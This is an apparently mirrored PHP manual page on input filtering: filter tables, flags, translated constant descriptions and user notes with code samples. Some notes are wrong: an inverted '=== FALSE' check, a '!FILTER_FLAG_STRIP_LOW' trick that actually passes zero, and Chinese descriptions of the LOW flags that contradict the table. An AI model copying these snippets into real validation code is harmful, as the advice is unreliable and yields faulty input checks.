FILTER_VALIDATE_FLOAT, decimal option mean decimal notation['.', ','].
maruerru at gmail dot com 26-Mar-2015 11:09
Often I see some code like the following:
$value = "12";
if( filter_var($value, FILTER_VALIDATE_INT) )
{
    // validated as an int
}

The above works as intended, except when $value is "0". In the above case it will be interpreted as FALSE.

For the correct behavior,  you have not only to check if it is equal (==) to false, but also identic (===) to FALSE:
$value = " 0 ";
if( filter_var($value, FILTER_VALIDATE_INT)  === FALSE )
{
    // validated as an int
}

I hope, I could help.
bryanwayb at gmail dot com 22-Mar-2015 04:18
It's good to remember that using filter_var is primarily for filtering input values when doing boolean logic comparisons. Take the following:

$value = "12";
if(filter_var($value, FILTER_VALIDATE_INT))
{
    // validated as an int
}

The above works as intended, except when $value = "0". In which case filter_var returns a 0, aka false when used as a boolean.

For the correct behavior, do a zero check.

$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}
Bastien 24-Sep-2013 08:05
Rejection of so-called partial domains because of "missing" dot is not following section 2.3.5 of RFC 5321.

It says FQDNs are permitted, and com, org, or va are (well, may be) valids FQDNs. It depends on DNS, not on syntax.

Some TDLs (although few of them) have MX RRs, the for example "abuse@va" is correct.
rowan dot collins at gmail dot com 17-Mar-2013 08:22
Regarding "partial" addresses with no . in the domain part, a comment in the source code (in ext/filter/logical_filters.c) justifies this rejection thus:

     * The regex below is based on a regex by Michael Rushton.
     * However, it is not identical.  I changed it to only consider routeable
     * addresses as valid.  Michael's regex considers a@b a valid address
     * which conflicts with section 2.3.5 of RFC 5321 which states that:
     *
     *   Only resolvable, fully-qualified domain names (FQDNs) are permitted
     *   when domain names are used in SMTP.  In other words, names that can
     *   be resolved to MX RRs or address (i.e., A or AAAA) RRs (as discussed
     *   in Section 5) are permitted, as are CNAME RRs whose targets can be
     *   resolved, in turn, to MX or address RRs.  Local nicknames or
     *   unqualified names MUST NOT be used.
boy at relaxnow dot nl 19-Oct-2012 02:06
FILTER_VALIDATE_URL does not work with URNs, examples of valid URIs according to RFC3986 and if they are accepted by FILTER_VALIDATE_URL:

[PASS] ftp://ftp.is.co.za.example.org/rfc/rfc1808.txt
[PASS] gopher://spinaltap.micro.umn.example.edu/00/Weather/California/Los%20Angeles
[PASS] http://www.math.uio.no.example.net/faq/compression-faq/part1.html
[PASS] mailto:mduerst@ifi.unizh.example.gov
[PASS] news:comp.infosystems.www.servers.unix
[PASS] telnet://melvyl.ucop.example.edu/
[PASS] http://www.ietf.org/rfc/rfc2396.txt
[PASS] ldap://[2001:db8::7]/c=GB?objectClass?one
[PASS] mailto:John.Doe@example.com
[PASS] news:comp.infosystems.www.servers.unix
[FAIL] tel:+1-816-555-1212
[PASS] telnet://192.0.2.16:80/
[FAIL] urn:oasis:names:specification:docbook:dtd:xml:4.1.2
bee kay two at em ee dot com 06-May-2012 04:45
Notably missing is a way to validate text entry as printable,
printable multiline,
or printable and safe (tag free)

FILTER_VALIDATE_TEXT, which validates no special characters
perhaps with FILTER_FLAG_ALLOW_NEWLINE
and FILTER_FLAG_NOTAG to disallow tag starters
php at sethsyberg dot com 07-Apr-2011 01:00
When validating floats, you must use the Identical/Not identical operators for proper validation of zeros:

This will not work as expected:
<?php
$x = 0;
if (!filter_var($x, FILTER_VALIDATE_FLOAT)) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>

This will work as expected:
<?php
$x = 0;
if (filter_var($x, FILTER_VALIDATE_FLOAT)!== false) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>
php dot net at piskvor dot org 11-Feb-2011 08:57
FILTER_VALIDATE_EMAIL is discarding valid e-mail addresses containing IDN. Since there are real, live IDNs on the Internet, that means the filtered output is too strict, leading to false negatives.

Punycode-encoded IDN addresses pass the filter correctly; so before checking for validity, it is necessary to convert the e-mail address to punycode.
Clifton 05-Jan-2011 08:00
FILTER_VALIDATE_EMAIL does NOT allow incomplete e-mail addresses to be validated as mentioned by Tomas.

Using the following code:

<?php
$email = "clifton@example"; //Note the .com missing
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
bool(false)

While the following code:

<?php
$email = "clifton@example.com"; //Note the .com added
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
clifton@example.com
string(16) "clifton@example.com"

This feature is only available for PHP Versions (PHP 5 >= 5.2.0) according to documentation. So make sure your version is correct.

Cheers,
Clifton


Sanitize filters

List of filters for sanitization
ID | Name | Flags | Description
FILTER_SANITIZE_EMAIL | "email" |  | Remove all characters except letters, digits and !#$%&'*+-=?^_`{|}~@.[].
FILTER_SANITIZE_ENCODED | "encoded" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH | URL-encode string, optionally strip or encode special characters.
FILTER_SANITIZE_MAGIC_QUOTES | "magic_quotes" |  | Apply addslashes().
FILTER_SANITIZE_NUMBER_FLOAT | "number_float" | FILTER_FLAG_ALLOW_FRACTION, FILTER_FLAG_ALLOW_THOUSAND, FILTER_FLAG_ALLOW_SCIENTIFIC | Remove all characters except digits, +- and optionally .,eE.
FILTER_SANITIZE_NUMBER_INT | "number_int" |  | Remove all characters except digits, plus and minus sign.
FILTER_SANITIZE_SPECIAL_CHARS | "special_chars" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_HIGH | HTML-escape '"<>& and characters with ASCII value less than 32, optionally strip or encode other special characters.
FILTER_SANITIZE_FULL_SPECIAL_CHARS | "full_special_chars" | FILTER_FLAG_NO_ENCODE_QUOTES, | Equivalent to calling htmlspecialchars() with ENT_QUOTES set. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. Like htmlspecialchars(), this filter is aware of the default_charset and if a sequence of bytes is detected that makes up an invalid character in the current character set then the entire string is rejected resulting in a 0-length string. When using this filter as a default filter, see the warning below about setting the default flags to 0.
FILTER_SANITIZE_STRING | "string" | FILTER_FLAG_NO_ENCODE_QUOTES, FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Strip tags, optionally strip or encode special characters.
FILTER_SANITIZE_STRIPPED | "stripped" |  | Alias of "string" filter.
FILTER_SANITIZE_URL | "url" |  | Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
FILTER_UNSAFE_RAW | "unsafe_raw" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Do nothing, optionally strip or encode special characters. This filter is also aliased to FILTER_DEFAULT.

Warning

When using one of these filters as a default filter either through your ini file or through your web server's configuration, the default flags is set to FILTER_FLAG_NO_ENCODE_QUOTES. You need to explicitly set filter.default_flags to 0 to have quotes encoded by default. Like this:

Example #1 Configuring the default filter to act like htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

更新日志

版本 | 说明
5.2.11/5.3.1 | Slashes (/) are removed by FILTER_SANITIZE_EMAIL. Prior they were retained.

User Contributed Notes

darren at daz-web dot com 12-Nov-2018 12:31
For those looking for a simple way around filtering POST forms that have textarea elements in them. If you also need tab for example you can extend quite easily.

<?php
//create an array of all relevant textareas
$textareas = array("ta1");

foreach($_POST as $k => $v)
    {
        $v = trim($v);//so we are sure it is whitespace free at both ends

        //preserve newline for textarea answers
        if(in_array($k,$textareas))$v=str_replace("\n","[NEWLINE]",$v);

        //sanitise string
        $v = filter_var($v, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_BACKTICK);

        //now replace the placeholder with the original newline
        $_POST[$k] = str_replace("[NEWLINE]","\n",$v);
    }

//simple form for testing submital

?><!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Filter test</title>
</head>

<body>

<form action="" method="post">
    <p>
        <textarea name="ta1" cols="30" rows="10"><?php echo $_POST['ta1']; ?></textarea>
    </p>
    <p>
        <input type="text" name="txt1" size="30" value="<?php echo $_POST['txt1']; ?>" />
    </p>
    <p>
        <input type="submit" />
    </p>
    </form>

</body>

</html>
AntonioPrimera 04-Aug-2016 01:12
Please be aware that when using filter_var() with FILTER_SANITIZE_NUMBER_FLOAT and FILTER_SANITIZE_NUMBER_INT the result will be a string, even if the input value is actually a float or an int.

Use FILTER_VALIDATE_FLOAT and FILTER_VALIDATE_INT, which will convert the result to the expected type.
Ruth 03-Jun-2016 02:59
This is an example for a form having a group of checkboxes besides a lot of other inputs:

$args = array(
    'details' => array(
        'name' => 'details[]',
        'filter' => FILTER_SANITIZE_STRING,
        'flags'  => FILTER_REQUIRE_ARRAY
    )
    // ,
    // a lot of other stuff here (all the form's elements)
);
$myInputs = filter_input_array( INPUT_GET, $args, true );

where the checkboxes are (their form is in a page that reloads itself):

<label>
    <input type="checkbox" name="details[]" value="A" <?php if (in_array( "A", $myInputs['details'] )) { echo 'checked'; } ?>>
    Show A
</label>
<label>
    <input type="checkbox" name="details[]" value="B" <?php if (in_array( "B", $myInputs['details'] )) { echo 'checked'; } ?>>
    Show B
</label>
<label>
    <input type="checkbox" name="details[]" value="C" <?php if (in_array( "C", $myInputs['details'] )) { echo 'checked'; } ?>>
    Show C
</label>
<label>
    <input type="checkbox" name="details[]" value="D" <?php if (in_array( "D", $myInputs['details'] )) { echo 'checked'; } ?>>
    Show D
</label>
Willscrlt 10-Mar-2016 10:11
To include multiple flags, simply separate the flags with vertical pipe symbols.

For example, if you want to use filter_var() to sanitize $string with FILTER_SANITIZE_STRING and pass in FILTER_FLAG_STRIP_HIGH and FILTER_FLAG_STRIP_LOW, just call it like this:

$string = filter_var($string, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW);

The same goes for passing a flags field in an options array in the case of using callbacks.

$var = filter_var($string, FILTER_SANITIZE_SPECIAL_CHARS,
array('flags' => FILTER_FLAG_STRIP_LOW | FILTER_FLAG_ENCODE_HIGH));

Thanks to the Brain Goo blog at popmartian.com/tipsntricks/for this info.
Anonymous 22-Oct-2015 03:56
FILTER_SANITIZE_STRING doesn't behavior the same as strip_tags function.    strip_tags allows less than symbol inferred from context, FILTER_SANITIZE_STRING strips regardless.
<?php
$smaller = "not a tag < 5";
echo strip_tags($smaller);    // -> not a tag < 5
echo filter_var ( $smaller, FILTER_SANITIZE_STRING); // -> not a tag
?>
david dot drakulovski at gmail dot com 25-Feb-2014 07:54
Here is a simpler and a better presented ASCII list for the <32 or 127> filters
(if wikipedia confused the hell out of you):

http://www.danshort.com/ASCIImap/
galvao at galvao dot eti dot br 02-Mar-2013 06:04
Just to clarify, since this may be unknown for a lot of people:

ASCII characters above 127 are known as "Extended" and they represent characters such as greek letters and accented letters in latin alphabets, used in languages such as pt_BR.

A good ASCII quick reference (aside from the already mentioned Wikipedia article) can be found at: http://www.asciicodes.com/
Anonymous 15-Feb-2013 07:42
Support for FILTER_SANITIZE_FULL_SPECIAL_CHARS was added from version 5.3.3
googlybash24 at aol dot com 19-Sep-2012 05:39
Remember to trim() the $_POST before your filters are applied:

<?php

// We trim the $_POST data before any spaces get encoded to "%20"

// Trim array values using this function "trim_value"
function trim_value(&$value)
{
    $value = trim($value);    // this removes whitespace and related characters from the beginning and end of the string
}
array_filter($_POST, 'trim_value');    // the data in $_POST is trimmed

$postfilter =    // set up the filters to be used with the trimmed post array
    array(
            'user_tasks'                        =>    array('filter' => FILTER_SANITIZE_STRING, 'flags' => !FILTER_FLAG_STRIP_LOW),    // removes tags. formatting code is encoded -- add nl2br() when displaying
            'username'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
            'mod_title'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
        );

$revised_post_array = filter_var_array($_POST, $postfilter);    // must be referenced via a variable which is now an array that takes the place of $_POST[]
echo (nl2br($revised_post_array['user_tasks']));    //-- use nl2br() upon output like so, for the ['user_tasks'] array value so that the newlines are formatted, since this is our HTML <textarea> field and we want to maintain newlines
?>
googlybash24 at aol dot com 13-Sep-2012 08:39
This should help with most simple "textarea" fields in post forms.

Removing user html tags while maintaining text formatting such as newlines and carriage returns involves using the FILTER_SANITIZE_STRING filter ID with the flag !FILTER_FLAG_STRIP_LOW. The formatting text (the low ASCII values under decimal 32) are encoded because of the included FILTER_FLAG_ENCODE_LOW flag, but you are now preventing these from being removed. When you want to display the value on the page back in its intended format, use nl2br() so the encoded newlines are formatted properly on the page.

This example cleans $_POST data from a textarea field with the name "user_tasks" on a previous html form, stripping tags but maintaining formatting (at least for newlines):

<?php
$postfilter =
    array(
            'user_tasks'    =>    array('filter' => FILTER_SANITIZE_STRING, 'flags' => !FILTER_FLAG_STRIP_LOW),    // removes tags. formatting code is encoded -- add nl2br() when displaying
        );

$revised_post_array = filter_input_array(INPUT_POST, $postfilter);    // must be referenced via a variable which is now an array that takes the place of $_POST[]
echo (nl2br($revised_post_array['user_tasks']));    // here we use nl2br() for the displayed value, for the ['user_tasks'] array value so that the newlines are formatted
?>
adellemfrank at hotmail dot com 09-Jul-2012 07:07
A good list of which ASCII characters are < 32 and > 127 can be found at: http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters
scamber256 at hotmail dot de 06-Aug-2011 02:37
Just a hint I tested,

You can obtain all the chars <32 (so newline and c.return), by using not operator > !FILTER_FLAG_STRIP_LOW as the last argument.

Example:
filter_input(INPUT_GET,'test',FILTER_SANITIZE_STRING,!FILTER_FLAG_STRIP_LOW);

The filter keeps working as before removing anything else as before apart from FILTER_FLAG_STRIP_LOW.
Just filter those "bad" chars <32 manually you don't want.
Dmitry Snytkine 11-Apr-2011 04:17
Beware that FILTER_FLAG_STRIP_LOW strips NEWLINE and TAG and CARRIAGE RETURN chars. If you have a form that accepts user input in plaintext format, all the submitted text will lose all the line breaks, making it appear all on one line. This basically renders this filter useless for parsing user-submitted text, even in plain text.
marcus at synchromedia dot co dot uk 27-Nov-2009 01:07
It's not entirely clear what the LOW and HIGH ranges are. LOW is characters below 32, HIGH is those above 127, i.e. outside the ASCII range.

<?php
$a = "\tcafé\n";
//This will remove the tab and the line break
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
//This will remove the é.
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);
?>


Other filters

List of miscellaneous filters
ID | Name | Options | Flags | Description
FILTER_CALLBACK | "callback" | callable function or method | All flags are ignored | Call user-defined function to filter data.

User Contributed Notes

commonpike 24-Sep-2018 09:56
Some useful custom filters:

<?php

    function sanitizeOptions($array,$default) {
        return function($value = null) use ($array,$default) {
            if (in_array($value, $array)) return $value;
            return $default;
        };
    }

    function sanitizeKey($value) {
        return strtolower(preg_replace('/[^a-zA-Z0-9-_\.]/','', $value));
    }

    /*usage */

    filter_var($format, FILTER_CALLBACK, array(
           "options" => sanitizeOptions(['html','json','blob'],'json')
        ));

    filter_var($format,FILTER_CALLBACK, array(
           "options" =>  'sanitizeKey'
        ));

?>
johnk at riceball dot com 18-Feb-2018 03:12
Here's how to create callable functions with parameters.  These are functions that return closures.  When you call them, you supply the known parameters, and it returns a function that will accept the value from filter_input() or filter_input_array().

<?php

function filter_sanitize_int_range_generator($low, $high) {
        return function($value = null) use ($low, $high) {
                $v = intval($value);
                if ($v < $low) return false;
                if ($v > $high) return false;
                return $v;
        };
}

function filter_sanitize_string_in_array_generator($array) {
        return function($value = null) use ($array) {
                if (!is_string($value)) return false;
                if (in_array($value, $array)) return $value;
                return false;
        };
}

echo "TESTING RANGE\n";
$fun = filter_sanitize_int_range_generator(1,10);
var_dump($fun(5)); // 5
var_dump((filter_sanitize_int_range_generator(1,10))(0)); // false
var_dump((filter_sanitize_int_range_generator(1,10))(1)); // 1
var_dump((filter_sanitize_int_range_generator(1,10))(10)); // 10
var_dump((filter_sanitize_int_range_generator(1,10))(11)); // false
var_dump($fun()); // false

echo "TESTING IN ARRAY\n";
$fun = filter_sanitize_string_in_array_generator(['cat','dog','bird']);
var_dump($fun('cat')); // cat
var_dump($fun('dog')); // dog
var_dump($fun('bird')); // bird
var_dump($fun('fish')); // false
var_dump($fun()); // false

// use it like this
filter_input(INPUT_GET, 'month', FILTER_CALLBACK, array( "callable" => filter_sanitize_int_range_generator(1,12) ) );
Vufi 28-Jan-2016 07:50
Are you also struggling with how to send arguments into the FILTER_CALLBACK.

Lets say you like to have a collection of custom filters that you can use in filter_var, filter_var_array and so on, but you want be able to call the new filters with different arguments, as you can in filter_var.

The easiest way to do this is to make a new class with all your custom filters. Then construct the class with your arguments inside filter_var argument array and enter the method in your class you like to run after.

If you send the argument as an array it is easy to make default values. But you can pass as many arguments you want and in any type, with this solution.

Example:
<?php
/**
 * Class CustomFilters
 * Custom filters for filter_var, filter_var_array, filter_input, filter_input_array
 */
class CustomFilters {
    private $options = array();

    public function __construct(array $options=array()){
        $this->options = $options;
    }

    /**
     * Returns the default options merged with the construction options
     * @param array $defaults
     * @return array
     */
    private function get_options(array $defaults){
        return array_merge($defaults, $this->options);
    }

    /**
     * Checks if a value is in a range
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_STEP_RANGE($val){
        $options = $this->get_options(
            // default options
            array(
                "min_range" => 1,
                "max_range" => 10,
                "step"      => 1,
                "default"   => null,    // Value to return on fail
                "strict"    => false,   // Check value for correct type
                "cast"      => false    // Cast the value in a certain type
            )
        );

        if(in_array( $val, range($options["min_range"], $options["max_range"], $options["step"]), $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])) {
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }

    /**
     * Checks if a value is in array
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_ENUM($val){
        $options = $this->get_options(
        // default options
            array(
                "values"  => array(),
                "strict"    => false, // Value to return on fail
                "default"   => null,  // Check value for correct type
                "cast"      => false  // Cast the value in a certain type
            )
        );

        if(in_array($val, $options["values"], $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])){
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }
}

$data = array(
    "range1" => "200",
    "range2" => 25,
    "enum" => "yes"
);

$args = array(
    "range1" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 10, "max_range" => 600, "step" => 10, "default" => 120,
                "cast" => "integer")),
            'FILTER_STEP_RANGE'
            )
        ),

    "range2" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 0, "max_range" => 1, "step" => .1, "default" => .5,
                "cast" => "float")),
            'FILTER_STEP_RANGE'
        )
    ),
    "enum" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "values" => array("yes", "no", "Yes","No"), "cast" => "string")),
            'FILTER_ENUM'
        )
    )
);

var_dump( filter_var_array($data, $args) );
?>

Returns:
array(3) {
  ["range1"] => int(200)
  ["range2"] => float(0.5)
  ["enum"] => string(3) "yes"
}
christof at himalayasystemsNOSPAM dot be 11-Aug-2015 10:47
The supplied callback function may also be a class method. (since 5.4.0 ?)
To use a method you need to set the options param to an array with two values: the first is the object and the second is the method name.

<?php
/**
 * @property-read $language
 */
class GetInputStore {
    private $allowed_languages = array('en', 'fr', 'de', 'nl' /*, ... */);
    private $language;

    public function __construct(){
        $this->language = filter_input(INPUT_GET, 'language', FILTER_CALLBACK, array('options' => array($this, 'get_language_code')));
    }

    public function __get($name){
         switch($name){
             case 'language' : return $this->language;
             default : throw new Exception("The GetInputStore class doesn't support GET param \"$name\"");
         }
    }

    private function get_language_code($code){
        if(in_array($code, $this->allowed_languages)){
            return $code;
        } else {
            return 'en';
        }
    }
}
?>
thatindividual dot zhang at gmail dot com 23-Sep-2014 07:05
Here is an example, since I cannot find one through out php.net"

<?php

/**
 * Strip whitespace (or other non-printable characters) from the beginning and end of a string
 * @param string $value
 */
function trimString($value)
{
    return trim($value);
}

$loginname = filter_input(INPUT_POST, 'loginname', FILTER_CALLBACK, array('options' => 'trimString'));


Filter flags

List of filter flags
ID | Used with | Description
FILTER_FLAG_STRIP_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that have a numerical value <32.
FILTER_FLAG_STRIP_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that have a numerical value >127.
FILTER_FLAG_STRIP_BACKTICK | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips backtick characters.
FILTER_FLAG_ALLOW_FRACTION | FILTER_SANITIZE_NUMBER_FLOAT | Allows a period (.) as a fractional separator in numbers.
FILTER_FLAG_ALLOW_THOUSAND | FILTER_SANITIZE_NUMBER_FLOAT, FILTER_VALIDATE_FLOAT | Allows a comma (,) as a thousands separator in numbers.
FILTER_FLAG_ALLOW_SCIENTIFIC | FILTER_SANITIZE_NUMBER_FLOAT | Allows an e or E for scientific notation in numbers.
FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_SANITIZE_STRING | If this flag is present, single (') and double (") quotes will not be encoded.
FILTER_FLAG_ENCODE_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes all characters with a numerical value <32.
FILTER_FLAG_ENCODE_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes all characters with a numerical value >127.
FILTER_FLAG_ENCODE_AMP | FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes ampersands (&).
FILTER_NULL_ON_FAILURE | FILTER_VALIDATE_BOOLEAN | Returns NULL for unrecognized boolean values.
FILTER_FLAG_ALLOW_OCTAL | FILTER_VALIDATE_INT | Regards inputs starting with a zero (0) as octal numbers. This only allows the succeeding digits to be 0-7.
FILTER_FLAG_ALLOW_HEX | FILTER_VALIDATE_INT | Regards inputs starting with 0x or 0X as hexadecimal numbers. This only allows succeeding characters to be a-fA-F0-9.
FILTER_FLAG_EMAIL_UNICODE | FILTER_VALIDATE_EMAIL | Allows the local part of the email address to contain Unicode characters.
FILTER_FLAG_IPV4 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv4 format.
FILTER_FLAG_IPV6 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv6 format.
FILTER_FLAG_NO_PRIV_RANGE | FILTER_VALIDATE_IP | Fails validation for the following private IPv4 ranges: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. Fails validation for the IPv6 addresses starting with FD or FC.
FILTER_FLAG_NO_RES_RANGE | FILTER_VALIDATE_IP | Fails validation for the following reserved IPv4 ranges: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8 and 240.0.0.0/4. Fails validation for the following reserved IPv6 ranges: ::1/128, ::/128, ::ffff:0:0/96 and fe80::/10.
FILTER_FLAG_SCHEME_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a scheme part.
FILTER_FLAG_HOST_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a host part.
FILTER_FLAG_PATH_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a path part.
FILTER_FLAG_QUERY_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a query string.
FILTER_REQUIRE_SCALAR |  | Requires the value to be scalar.
FILTER_REQUIRE_ARRAY |  | Requires the value to be an array.
FILTER_FORCE_ARRAY |  | If the value is a scalar, it is treated as array with the scalar value as only element.

更新日志

版本 | 说明
7.3.0 | The explicit usage of FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED has been deprecated.
7.1.0 | FILTER_FLAG_EMAIL_UNICODE has been added.
5.3.2 | FILTER_FLAG_STRIP_BACKTICK has been added.
5.2.10 | FILTER_FLAG_NO_RES_RANGE supports also IPv6 addresses.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

INPUT_POST (integer)
POST 变量。
INPUT_GET (integer)
GET 变量。
INPUT_COOKIE (integer)
COOKIE 变量。
INPUT_ENV (integer)
ENV 变量。
INPUT_SERVER (integer)
SERVER 变量。
INPUT_SESSION (integer)
SESSION 变量。 (暂未实现)
INPUT_REQUEST (integer)
REQUEST 变量。 (暂未实现)
FILTER_FLAG_NONE (integer)
没有标记。
FILTER_REQUIRE_SCALAR (integer)
此标记要求输入的是标量。
FILTER_REQUIRE_ARRAY (integer)
需要输入的是数组。
FILTER_FORCE_ARRAY (integer)
一律返回数组。
FILTER_NULL_ON_FAILURE (integer)
失败时返回 NULL，而非 FALSE。
FILTER_VALIDATE_INT (integer)
标记 "int" 过滤器。
FILTER_VALIDATE_BOOLEAN (integer)
标记 "boolean" 过滤器。
FILTER_VALIDATE_FLOAT (integer)
标记 "float" 过滤器。
FILTER_VALIDATE_REGEXP (integer)
标记 "validate_regexp" 过滤器。
FILTER_VALIDATE_URL (integer)
标记 "validate_url" 过滤器。
FILTER_VALIDATE_EMAIL (integer)
标记 "validate_email" 过滤器。
FILTER_VALIDATE_IP (integer)
标记 "validate_ip" 过滤器。
FILTER_VALIDATE_MAC (integer)
标记 "validate_mac_address" 过滤器。（PHP 5.5.0 起有效）
FILTER_DEFAULT (integer)
标记默认的 "unsafe_raw" 过滤器。 等同于 FILTER_UNSAFE_RAW。
FILTER_UNSAFE_RAW (integer)
标记 "unsafe_raw" 过滤器。
FILTER_SANITIZE_STRING (integer)
标记 "string" 过滤器。
FILTER_SANITIZE_STRIPPED (integer)
标记 "stripped" 过滤器。
FILTER_SANITIZE_ENCODED (integer)
标记 "encoded" 过滤器。
FILTER_SANITIZE_SPECIAL_CHARS (integer)
标记 "special_chars" 过滤器。
FILTER_SANITIZE_EMAIL (integer)
标记 "email" 过滤器。
FILTER_SANITIZE_URL (integer)
标记 "url" 过滤器。
FILTER_SANITIZE_NUMBER_INT (integer)
标记 "number_int" 过滤器。
FILTER_SANITIZE_NUMBER_FLOAT (integer)
标记 "number_float" 过滤器。
FILTER_SANITIZE_MAGIC_QUOTES (integer)
标记 "magic_quotes" 过滤器。
FILTER_CALLBACK (integer)
标记 "callback" 过滤器。
FILTER_FLAG_ALLOW_OCTAL (integer)
"int" 过滤器允许八进制（octal）标记的字符（0[0-7]+）。
FILTER_FLAG_ALLOW_HEX (integer)
"int" 过滤器允许十六进制（Hex）标记的字符（0x[0-9a-fA-F]+）
FILTER_FLAG_STRIP_LOW (integer)
过滤 ASCII 编码值大于 32 的字符 。
FILTER_FLAG_STRIP_HIGH (integer)
过滤 ASCII 编码值大于 127 的字符 。
FILTER_FLAG_ENCODE_LOW (integer)
字符的 ASCII 编码值大于 32。
FILTER_FLAG_ENCODE_HIGH (integer)
字符的 ASCII 编码值大于 127。
FILTER_FLAG_ENCODE_AMP (integer)
为 & 编码。
FILTER_FLAG_NO_ENCODE_QUOTES (integer)
不要为 ' 和 " 编码。
FILTER_FLAG_EMPTY_STRING_NULL (integer)
(目前不能使用。)
FILTER_FLAG_ALLOW_FRACTION (integer)
"number_float" 过滤器允许小数部分。
FILTER_FLAG_ALLOW_THOUSAND (integer)
"number_float" 过滤器允许使用千分位分隔符（,）。
FILTER_FLAG_ALLOW_SCIENTIFIC (integer)
"number_float" 过滤器允许使用科学计数法（e、E）。
FILTER_FLAG_PATH_REQUIRED (integer)
"validate_url" 过滤器，要求带路径部分。
FILTER_FLAG_QUERY_REQUIRED (integer)
"validate_url" 过滤器，要求带 Query 部分。
FILTER_FLAG_IPV4 (integer)
"validate_ip" 过滤器，仅仅允许 IPv4 地址。
FILTER_FLAG_IPV6 (integer)
"validate_ip" 过滤器，仅仅允许 IPv6 地址。
FILTER_FLAG_NO_RES_RANGE (integer)
"validate_ip" 过滤器，禁止保留 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE (integer)
"validate_ip" 过滤器，禁止私有 IP 地址。
FILTER_FLAG_EMAIL_UNICODE (integer)
"validate_email" 过滤器，在邮件地址用户名部分允许 Unicode 字符。 （PHP 7.1.0 起有效）

User Contributed Notes

sixd at php dot net 23-Dec-2010 10:37
Rasmus added FILTER_SANITIZE_FULL_SPECIAL_CHARS to PHP 5.3.3.  See
